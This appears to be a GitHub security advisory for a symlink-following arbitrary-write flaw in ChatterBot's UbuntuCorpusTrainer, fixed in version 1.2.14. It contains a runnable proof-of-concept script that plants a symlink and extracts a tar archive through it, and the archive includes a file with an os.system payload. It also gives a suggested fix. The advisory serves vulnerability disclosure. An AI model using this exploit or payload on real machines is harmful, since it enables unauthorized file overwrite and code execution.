GHSA-wvrh-2f4m-924v ChatterBot: Symlink-Following Arbitrary Write via UbuntuCorpusTrainer

• PyPI ChatterBot: < 1.2.14 → fixed in 1.2.14

Summary ChatterBot's `UbuntuCorpusTrainer.extract()` uses a predictable, home-rooted output directory (`~/ubuntu_data/ubuntu_dialogs`) with a check-then-create pattern (`if not os.path.exists: os.makedirs`) followed by `tar.extractall(path=self.data_path)`. A local attacker who pre-plants a symlink at the predictable path causes `os.path.exists()` to return True (following the symlink), skipping `makedirs`, and subsequent `extractall` writes archive contents through the symlink to the attacker-chosen directory. The existing `safe_extract` function validates tar member names (zip-slip defense) but does not validate the output directory itself — it cannot detect that `self.data_path` is a symlink. This is the defining distinction between the archive_extraction (zip-slip) and insecure_fs_create_toctou families. Vulnerability Details Predictable output directory (line 535-546) ```python home_directory = os.path.expanduser('~') self.data_directory = kwargs.get( 'ubuntu_corpus_data_directory', os.path.join(home_directory, 'ubuntu_data') # ~/ubuntu_data — predictable ) self.data_path = os.path.join( self.data_directory, 'ubuntu_dialogs' # ~/ubuntu_data/ubuntu_dialogs ) ``` Check-then-create (line 621-622) ```python def extract(self, file_path: str): if not os.path.exists(self.data_path): # ← follows symlink → True → skips makedirs os.makedirs(self.data_path) # ← never reached if symlink exists ``` Extraction through symlink (line 633-644) ```python def safe_extract(tar, path='.', members=None, *, numeric_owner=False): for member in tar.getmembers(): member_path = os.path.join(path, member.name) if not is_within_directory(path, member_path): # ← validates MEMBER names only raise Exception('Attempted Path Traversal in Tar File') tar.extractall(path, members, numeric_owner=numeric_owner) # ← path is symlink → writes to target safe_extract(tar, path=self.data_path, ...) # self.data_path = symlink → attacker dir ``` `safe_extract` calls `os.path.abspath(directory)` on `self.data_path` — this resolves the symlink, so the base becomes the attacker's target directory. All clean-named members trivially pass `is_within_directory` because they're relative to the resolved (attacker-controlled) base. Proof of Concept Environment | Component | Detail | |-----------|--------| | chatterbot | 1.2.13 (pip install) | | Python | 3.11.0 | Exploit ```python import os import shutil import sys import tempfile from pathlib import Path from unittest.mock import patch from chatterbot.trainers import UbuntuCorpusTrainer ATTACKER_TARGET = Path(tempfile.mkdtemp(prefix="pwned_")) def main(): test_base = Path(tempfile.mkdtemp(prefix="cb_exploit_")) data_dir = test_base / "ubuntu_data" data_path = data_dir / "ubuntu_dialogs" data_dir.mkdir(parents=True, exist_ok=True) os.symlink(str(ATTACKER_TARGET), str(data_path)) print(f"[1] Symlink planted: {data_path} -> {ATTACKER_TARGET}") exists_check = os.path.exists(data_path) print(f"[2] os.path.exists(symlink) = {exists_check} (follows symlink → skips makedirs)") import tarfile import io tar_path = test_base / "corpus.tar.gz" with tarfile.open(str(tar_path), "w:gz") as tf: info = tarfile.TarInfo(name="dialog_001.tsv") payload = b"2024-01-01\tuser1\t0\tARBITRARY_CONTENT_VIA_SYMLINK\n" info.size = len(payload) tf.addfile(info, io.BytesIO(payload)) info2 = tarfile.TarInfo(name="config.py") rce = b"import os; os.system('id > /tmp/chatterbot_rce')\n" info2.size = len(rce) tf.addfile(info2, io.BytesIO(rce)) if not os.path.exists(data_path): os.makedirs(data_path) def is_within_directory(directory, target): abs_directory = os.path.abspath(directory) abs_target = os.path.abspath(target) prefix = os.path.commonprefix([abs_directory, abs_target]) return prefix == abs_directory with tarfile.open(str(tar_path), "r:gz") as tar: for member in tar.getmembers(): member_path = os.path.join(str(data_path), member.name) if not is_within_directory(str(data_path), member_path): raise Exception("Attempted Path Traversal in Tar File") tar.extractall(str(data_path)) print(f"[3] extractall(data_path) — data_path is symlink, writes to target") # Verify files = list(ATTACKER_TARGET.iterdir()) if files: print(f"\n[+] EXPLOIT SUCCESSFUL — {len(files)} files in attacker directory:") for f in sorted(files): print(f" {f.name}: {f.read_text().strip()[:60]}") else: print("[-] Failed") shutil.rmtree(str(test_base), ignore_errors=True) shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True) sys.exit(1) shutil.rmtree(str(test_base), ignore_errors=True) shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True) sys.exit(0) if __name__ == "__main__": print(f"chatterbot installed: {UbuntuCorpusTrainer.__module__}") print(f"Attacker target: {ATTACKER_TARGET}") print() main() ``` PoC output Suggested Fix Refuse symlinks on the output directory before extraction: ```python def extract(self, file_path: str): if os.path.islink(self.data_path): raise self.TrainerInitializationException( f'Refusing to extract to symlink: {self.data_path}') if not os.path.exists(self.data_path): os.makedirs(self.data_path) ... ```